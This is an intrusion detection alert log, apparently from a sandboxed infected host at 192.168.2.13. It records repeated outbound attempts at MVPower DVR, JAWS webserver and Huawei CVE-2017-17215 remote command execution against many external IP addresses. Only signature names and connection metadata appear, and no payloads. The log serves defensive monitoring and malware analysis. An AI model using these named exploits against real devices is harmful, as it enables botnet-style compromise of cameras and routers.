Timestamp:	04/14/24-04:01:42.178479
SID:	2030092
Source Port:	33744
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 209.200.111.176

Timestamp:	04/14/24-04:01:37.299626
SID:	2025883
Source Port:	38712
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.7.114.165

Timestamp:	04/14/24-04:01:13.648999
SID:	2025883
Source Port:	60352
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 38.91.107.114

Timestamp:	04/14/24-04:01:46.694372
SID:	2025883
Source Port:	48688
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 185.217.243.246

Timestamp:	04/14/24-04:01:15.446505
SID:	2030092
Source Port:	49074
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 191.81.77.161

Timestamp:	04/14/24-04:00:33.301692
SID:	2025883
Source Port:	57818
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.98.233.87

Timestamp:	04/14/24-04:00:37.791640
SID:	2025883
Source Port:	44084
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 39.97.135.11

Timestamp:	04/14/24-04:00:33.657478
SID:	2030092
Source Port:	45096
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 66.102.1.100

Timestamp:	04/14/24-04:01:35.799638
SID:	2030092
Source Port:	51732
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 125.229.13.9

Timestamp:	04/14/24-04:00:22.693454
SID:	2025883
Source Port:	53220
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 123.56.68.237

Timestamp:	04/14/24-04:01:08.634582
SID:	2025883
Source Port:	53158
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.154.238.239

Timestamp:	04/14/24-04:01:42.173534
SID:	2025883
Source Port:	40120
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 117.180.238.129

Timestamp:	04/14/24-04:01:46.463986
SID:	2030092
Source Port:	53176
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 54.255.12.156

Timestamp:	04/14/24-04:01:18.606015
SID:	2025883
Source Port:	35812
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.224.94.20

Timestamp:	04/14/24-04:00:55.418937
SID:	2025883
Source Port:	47834
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 156.250.20.101

Timestamp:	04/14/24-04:01:15.422866
SID:	2025883
Source Port:	47422
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.76.28.173

Timestamp:	04/14/24-04:01:36.703501
SID:	2030092
Source Port:	50490
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.212.19.165

Timestamp:	04/14/24-04:00:29.340778
SID:	2025883
Source Port:	46326
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 185.164.186.63

Timestamp:	04/14/24-04:00:49.344836
SID:	2030092
Source Port:	53554
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 13.33.18.73

Timestamp:	04/14/24-04:00:58.454675
SID:	2025883
Source Port:	42630
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 192.185.167.102

Timestamp:	04/14/24-04:00:14.182047
SID:	2030092
Source Port:	59436
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 38.238.70.100

Timestamp:	04/14/24-04:00:45.790530
SID:	2025883
Source Port:	47190
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 154.214.86.243

Timestamp:	04/14/24-04:00:56.730222
SID:	2030092
Source Port:	57490
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 54.156.22.68

Timestamp:	04/14/24-04:01:19.536137
SID:	2030092
Source Port:	34234
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 154.212.222.199

Timestamp:	04/14/24-04:01:50.100126
SID:	2025883
Source Port:	38248
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 117.180.238.129

Timestamp:	04/14/24-04:01:45.437461
SID:	2030092
Source Port:	53148
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 34.196.170.79

Timestamp:	04/14/24-04:01:41.947462
SID:	2025883
Source Port:	54410
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 95.100.233.80

Timestamp:	04/14/24-04:00:45.476527
SID:	2030092
Source Port:	40878
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 42.193.19.169

Timestamp:	04/14/24-04:00:36.456797
SID:	2025883
Source Port:	58360
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.118.9

Timestamp:	04/14/24-04:01:45.878729
SID:	2829579
Source Port:	57518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 143.204.37.147

Timestamp:	04/14/24-04:00:15.435478
SID:	2030092
Source Port:	43464
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.43.168.76

Timestamp:	04/14/24-04:00:50.631750
SID:	2835222
Source Port:	35360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.220.154.162

Timestamp:	04/14/24-04:00:38.705770
SID:	2025883
Source Port:	40596
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 154.31.215.197

Timestamp:	04/14/24-04:00:39.668972
SID:	2030092
Source Port:	35426
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 178.239.36.76

Timestamp:	04/14/24-04:01:39.307273
SID:	2030092
Source Port:	50050
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 117.180.238.129

Timestamp:	04/14/24-04:01:47.166370
SID:	2030092
Source Port:	53288
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 83.66.226.69

Timestamp:	04/14/24-04:00:14.642258
SID:	2030092
Source Port:	43162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 37.27.15.34

Timestamp:	04/14/24-04:01:30.919032
SID:	2030092
Source Port:	35216
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 54.235.16.88

Timestamp:	04/14/24-04:01:04.420999
SID:	2030092
Source Port:	58066
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 186.39.211.134

Timestamp:	04/14/24-04:01:15.463506
SID:	2030092
Source Port:	50490
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.206.59.2

Timestamp:	04/14/24-04:00:16.559489
SID:	2025883
Source Port:	51088
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 208.87.99.128

Timestamp:	04/14/24-04:00:46.467661
SID:	2025883
Source Port:	52094
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.55.65.9

Timestamp:	04/14/24-04:01:42.011188
SID:	2025883
Source Port:	52016
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 20.48.158.32

Timestamp:	04/14/24-04:01:32.233329
SID:	2030092
Source Port:	46702
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.36.251.28

Timestamp:	04/14/24-04:01:28.387798
SID:	2025883
Source Port:	41256
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.107.105

Timestamp:	04/14/24-04:01:42.534077
SID:	2829579
Source Port:	59772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 218.161.62.21

Timestamp:	04/14/24-04:01:04.547302
SID:	2030092
Source Port:	45884
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 69.168.3.9

Timestamp:	04/14/24-04:01:05.640382
SID:	2030092
Source Port:	48488
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 80.88.214.211

Timestamp:	04/14/24-04:01:42.620183
SID:	2030092
Source Port:	43546
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.216.104.237

Timestamp:	04/14/24-03:59:56.606428
SID:	2025883
Source Port:	48870
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 69.163.139.88

Timestamp:	04/14/24-04:00:19.224875
SID:	2030092
Source Port:	41430
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 190.167.7.136

Timestamp:	04/14/24-04:00:14.983482
SID:	2025883
Source Port:	35144
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 34.36.39.20

Timestamp:	04/14/24-04:00:43.057087
SID:	2025883
Source Port:	45514
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.9.126.72

Timestamp:	04/14/24-04:01:03.916709
SID:	2030092
Source Port:	54860
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 47.238.160.6

Timestamp:	04/14/24-04:00:19.370645
SID:	2030092
Source Port:	44330
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.36.0.173

Timestamp:	04/14/24-04:00:46.330679
SID:	2025883
Source Port:	37916
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 50.2.133.75

Timestamp:	04/14/24-04:00:43.093584
SID:	2025883
Source Port:	38012
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 42.29.49.205

Timestamp:	04/14/24-04:01:15.466685
SID:	2025883
Source Port:	35748
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.60.188.235

Timestamp:	04/14/24-04:01:12.960545
SID:	2025883
Source Port:	53022
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.34.113.225

Timestamp:	04/14/24-04:01:45.192743
SID:	2030092
Source Port:	42326
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 185.103.117.76

Timestamp:	04/14/24-04:01:03.822455
SID:	2030092
Source Port:	42510
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.248.234.118

Timestamp:	04/14/24-04:00:13.961131
SID:	2025883
Source Port:	34462
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 184.85.93.3

Timestamp:	04/14/24-04:00:14.603564
SID:	2025883
Source Port:	60510
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 38.207.22.210

Timestamp:	04/14/24-04:00:59.677818
SID:	2030092
Source Port:	59378
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 54.156.22.68

Timestamp:	04/14/24-04:01:19.536137
SID:	2025883
Source Port:	34234
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.102.21.224

Timestamp:	04/14/24-04:00:38.680096
SID:	2030092
Source Port:	46060
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 2.19.237.30

Timestamp:	04/14/24-04:00:34.258962
SID:	2030092
Source Port:	46816
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.155.109.0

Timestamp:	04/14/24-04:00:55.907978
SID:	2030092
Source Port:	36730
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 50.2.133.75

Timestamp:	04/14/24-04:00:43.093584
SID:	2030092
Source Port:	38012
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.224.121.76

Timestamp:	04/14/24-04:00:53.167056
SID:	2030092
Source Port:	54112
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 175.243.11.88

Timestamp:	04/14/24-04:01:35.592248
SID:	2025883
Source Port:	49092
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 123.56.125.186

Timestamp:	04/14/24-04:00:14.043374
SID:	2025883
Source Port:	48110
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 41.60.17.174

Timestamp:	04/14/24-04:00:29.518350
SID:	2025883
Source Port:	47462
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 200.80.131.208

Timestamp:	04/14/24-04:01:28.443028
SID:	2025883
Source Port:	52786
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 50.236.225.130

Timestamp:	04/14/24-04:00:46.399486
SID:	2030092
Source Port:	57734
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 46.8.153.39

Timestamp:	04/14/24-04:00:24.688215
SID:	2025883
Source Port:	58162
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 156.250.20.101

Timestamp:	04/14/24-04:01:17.994947
SID:	2025883
Source Port:	47586
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.88.189.249

Timestamp:	04/14/24-04:00:33.134868
SID:	2025883
Source Port:	56754
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 46.242.239.155

Timestamp:	04/14/24-04:01:49.658287
SID:	2030092
Source Port:	59388
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 5.251.4.167

Timestamp:	04/14/24-04:00:55.508748
SID:	2025883
Source Port:	59846
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.193.158.255

Timestamp:	04/14/24-04:01:08.547468
SID:	2030092
Source Port:	55302
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 57.180.150.1

Timestamp:	04/14/24-04:01:30.711319
SID:	2025883
Source Port:	38026
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 117.180.238.129

Timestamp:	04/14/24-04:01:46.463986
SID:	2025883
Source Port:	53176
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 89.19.45.154

Timestamp:	04/14/24-04:01:45.203190
SID:	2025883
Source Port:	46626
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 156.250.20.101

Timestamp:	04/14/24-04:01:30.463731
SID:	2030092
Source Port:	48046
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 34.120.76.126

Timestamp:	04/14/24-04:00:45.318776
SID:	2030092
Source Port:	55844
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 45.116.167.168

Timestamp:	04/14/24-04:01:15.408119
SID:	2025883
Source Port:	50318
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.192.226.4

Timestamp:	04/14/24-04:01:32.633888
SID:	2025883
Source Port:	38940
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 138.186.189.181

Timestamp:	04/14/24-04:00:43.168239
SID:	2030092
Source Port:	38292
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 38.6.214.47

Timestamp:	04/14/24-04:01:35.490361
SID:	2030092
Source Port:	40972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.87.89.132

Timestamp:	04/14/24-04:00:22.655595
SID:	2025883
Source Port:	33282
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.95.247.76

Timestamp:	04/14/24-04:00:50.402186
SID:	2025883
Source Port:	47686
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 220.87.17.129

Timestamp:	04/14/24-04:01:00.520246
SID:	2025883
Source Port:	57910
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 51.210.180.200

Timestamp:	04/14/24-04:00:53.696847
SID:	2025883
Source Port:	53416
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.212.130.139

Timestamp:	04/14/24-04:00:45.494615
SID:	2025883
Source Port:	53690
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 106.75.71.194

Timestamp:	04/14/24-04:00:59.692516
SID:	2025883
Source Port:	59714
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.216.200.106

Timestamp:	04/14/24-04:00:29.497034
SID:	2030092
Source Port:	38798
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 116.96.120.220

Timestamp:	04/14/24-04:00:22.152290
SID:	2030092
Source Port:	44540
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 50.87.191.161

Timestamp:	04/14/24-04:01:49.209097
SID:	2030092
Source Port:	46384
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.89.113.53

Timestamp:	04/14/24-04:00:15.768696
SID:	2030092
Source Port:	36874
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 136.226.64.127

Timestamp:	04/14/24-04:01:08.130794
SID:	2030092
Source Port:	52936
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.79.27.90

Timestamp:	04/14/24-04:01:08.176095
SID:	2030092
Source Port:	50478
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.21.58.38

Timestamp:	04/14/24-04:01:49.372231
SID:	2030092
Source Port:	50924
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.26.195.86

Timestamp:	04/14/24-04:00:29.455528
SID:	2030092
Source Port:	52934
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 209.200.67.104

Timestamp:	04/14/24-04:01:26.376231
SID:	2030092
Source Port:	34374
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 51.75.161.197

Timestamp:	04/14/24-04:00:55.396563
SID:	2025883
Source Port:	54696
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.1.206.174

Timestamp:	04/14/24-04:01:24.679598
SID:	2025883
Source Port:	41274
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 185.81.0.63

Timestamp:	04/14/24-04:01:15.756970
SID:	2025883
Source Port:	56148
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 38.48.143.91

Timestamp:	04/14/24-04:00:30.436023
SID:	2030092
Source Port:	34314
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 38.153.99.160

Timestamp:	04/14/24-04:01:45.215574
SID:	2025883
Source Port:	59518
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 159.89.127.214

Timestamp:	04/14/24-04:00:21.834259
SID:	2025883
Source Port:	44988
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 89.161.252.119

Timestamp:	04/14/24-04:00:29.353785
SID:	2030092
Source Port:	44460
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 95.164.23.125

Timestamp:	04/14/24-04:01:18.593401
SID:	2030092
Source Port:	46282
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

